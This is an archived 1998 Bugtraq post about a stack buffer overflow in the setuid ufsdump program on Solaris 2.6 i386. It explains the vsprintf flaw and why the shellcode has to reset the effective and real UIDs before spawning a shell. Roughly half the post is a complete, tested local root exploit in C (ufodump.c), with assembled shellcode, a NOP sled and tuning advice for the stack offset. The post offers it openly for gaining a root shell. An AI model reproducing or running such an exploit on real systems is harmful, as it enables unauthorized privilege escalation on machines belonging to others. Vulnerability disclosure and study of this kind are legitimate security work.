Bugtraq mailing list archives

Revisiting ufsdump under Solaris 2.6


From: nobody () REPLAY COM (Anonymous)
Date: Wed, 30 Dec 1998 23:43:35 +0100


A while back, in April and June of 1998, there was some chatter on Bugtraq
about the ufsdump and ufsrestore programs in Solaris 2.6.  The first
posting came from Seth McGann who had managed to create a preliminary
exploit for ufsdump on the i386 platform.  Seth's original post can be
found at:

    http://www.netspace.org/cgi-bin/wa?A2=ind9804D&L=bugtraq&P=R1130

Seth experienced some difficulties with his exploit and I thought I might
clarify some of his questions.  To start with, yes, the i386 binary of
ufsdump in Solaris 2.6 is indeed vulnerable; Seth's shell code needs just
a little bit more kung fu to get us a root shell.

Just like rdist, ufsdump runs most of the time with an EUID and UID of
you, but retains a saved UID of root (thanks to its original SUID root
nature) which it uses to toggle its EUID between you and root as needed,
but only briefly and for small sections of code at a time.  What does this
mean to you, the enterprising young exploit writer?  You must use this
same mechanism to make sure your shell (or whatever else you plan to do)
gets exec'd as root.  But there is one other step you must worry about.
The Bourne shell under Solaris performs checks of its EUID when it runs.
If the EUID of the shell is less than 100 and does not match the real UID,
the shell drops its privileges by reverting its EUID back to its real UID.
Do you see where this is leading?  In your shell code you must do a
seteuid(0) to set your effective UID to 0 (chances are your EUID was not 0
when the overflow happened, as is the case with this particular ufsdump
hole), followed by a setuid(0) to fully become root, followed by your
execve() to get your shell.  A fully functional exploit is included at the
end of this message.  This very same shell code can be used in a rdist
exploit for Solaris 2.6 (i386), but I'll not post that today.

Why don't I take this opportunity to put in a few jabs at Sun.  What are
the engineers at Sun thinking?  The buffer overflow exploit is not at all
a new or exotic technique, and their sorry coding practices make this type
of exploit surprisingly easy.  What is the problem in ufsdump?  In the
function msg(), vsprintf() is used to build an informational message to
display back to the user, but the buffer used to hold the message (1024
bytes in size) resides on the stack, and that is the key to the exploit.
Among the many calls to msg() in ufsdump, some calls used for creating
error messages include the erroneous input in the text of the message, and
this exploit tweaks one of those calls that uses a vsprintf format string
of "Cannot open dump device `%s': %s\n", where we, the untrusted users,
get to provide the dump device name.  That is not the only possible avenue
of attack, either.  If ufsdump is invoked with an argv[0] of "hsmdump"
there are what appear to be even easier overflows of the U and O command
line options.

Knock, knock, anybody home?  Just imagine all the problems Sun would solve
if they replaced each of these vsprintf() and sprintf() calls in the
Solaris source tree with a simple vsnprintf() or snprintf() call.  Is that
too much to ask from such a large and powerful organization like Sun with
deep pockets and lots of engineers?

Okay, I'll shut up now.  Here's the exploit code.  An offset argument of
around -500 seems to work good for me.  The ufsdump error message will
spill garbage all over your TTY, but just tap your enter key a couple of
times and enjoy your root shell, then be sure to send Sun your thanks.

                                Your brother in arms,

                                Cheez Whiz
                                cheezbeast () hotmail com

ufodump.c

----- cut here ----- cut here ----- cut here ----- cut here -----

/**
***  ufodump - i386 Solaris root exploit for /usr/lib/fs/ufs/ufsdump
***
***  Tested and confirmed under Solaris 2.6 i386
***
***  Usage:  % ufodump [offset]
***
***  where offset (if present) is the number of bytes to add to the stack
***  pointer to calculate your target return address; try -1000 to 1000 in
***  increments of 100 for starters.  Thanks go to Seth McGann for the
***  original bug report and a preliminary exploit.
***
***  Cheez Whiz
***  cheezbeast () hotmail com
***
***  December 30, 1998
**/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUFLEN 1100
#define NOP 0x90

char shell[] =
/*  0 */ "\xeb\x48"                         /* jmp springboard       */
/* syscall:                                                          */
/*  2 */ "\x9a\xff\xff\xff\xff\x07\xff"     /* lcall 0x7,0x0         */
/*  9 */ "\xc3"                             /* ret                   */
/* start:                                                            */
/* 10 */ "\x5e"                             /* popl %esi             */
/* 11 */ "\x31\xc0"                         /* xor %eax,%eax         */
/* 13 */ "\x89\x46\xb4"                     /* movl %eax,-0x4c(%esi) */
/* 16 */ "\x88\x46\xb9"                     /* movb %al,-0x47(%esi)  */
/* 19 */ "\x88\x46\x07"                     /* movb %al,0x7(%esi)    */
/* 22 */ "\x89\x46\x0c"                     /* movl %eax,0xc(%esi)   */
/* seteuid:                                                          */
/* 25 */ "\x31\xc0"                         /* xor %eax,%eax         */
/* 27 */ "\x50"                             /* pushl %eax            */
/* 28 */ "\xb0\x8d"                         /* movb $0x8d,%al        */
/* 30 */ "\xe8\xdf\xff\xff\xff"             /* call syscall          */
/* 35 */ "\x83\xc4\x04"                     /* addl $0x4,%esp        */
/* setuid:                                                           */
/* 38 */ "\x31\xc0"                         /* xor %eax,%eax         */
/* 40 */ "\x50"                             /* pushl %eax            */
/* 41 */ "\xb0\x17"                         /* movb $0x17,%al        */
/* 43 */ "\xe8\xd2\xff\xff\xff"             /* call syscall          */
/* 48 */ "\x83\xc4\x04"                     /* addl $0x4,%esp        */
/* execve:                                                           */
/* 51 */ "\x31\xc0"                         /* xor %eax,%eax         */
/* 53 */ "\x50"                             /* pushl %eax            */
/* 54 */ "\x8d\x5e\x08"                     /* leal 0x8(%esi),%ebx   */
/* 57 */ "\x53"                             /* pushl %ebx            */
/* 58 */ "\x8d\x1e"                         /* leal (%esi),%ebx      */
/* 60 */ "\x89\x5e\x08"                     /* movl %ebx,0x8(%esi)   */
/* 63 */ "\x53"                             /* pushl %ebx            */
/* 64 */ "\xb0\x3b"                         /* movb $0x3b,%al        */
/* 66 */ "\xe8\xbb\xff\xff\xff"             /* call syscall          */
/* 71 */ "\x83\xc4\x0c"                     /* addl $0xc,%esp        */
/* springboard:                                                      */
/* 74 */ "\xe8\xbb\xff\xff\xff"             /* call start            */
/* data:                                                             */
/* 79 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA                  */
/* 87 */ "\xff\xff\xff\xff"                 /* DATA                  */
/* 91 */ "\xff\xff\xff\xff";                /* DATA                  */

char buf[BUFLEN];
unsigned long int nop, esp;
long int offset = 0;

unsigned long int
get_esp()
{
    __asm__("movl %esp,%eax");
}

void
main (int argc, char *argv[])
{
    int i;

    if (argc > 1)
        offset = strtol(argv[1], NULL, 0);

    if (argc > 2)
        nop = strtoul(argv[2], NULL, 0);
    else
        nop = 800;

    esp = get_esp();

    memset(buf, NOP, BUFLEN);
    memcpy(buf+nop, shell, strlen(shell));
    for (i = nop+strlen(shell); i < BUFLEN-4; i += 4)
        *((int *) &buf[i]) = esp+offset;

    printf("jumping to 0x%08x (0x%08x offset %d) [nop %d]\n",
           esp+offset, esp, offset, nop);
    execl("/usr/lib/fs/ufs/ufsdump", "ufsdump", "1", buf, NULL);

    printf("exec failed!\n");
    return;
}



Current thread: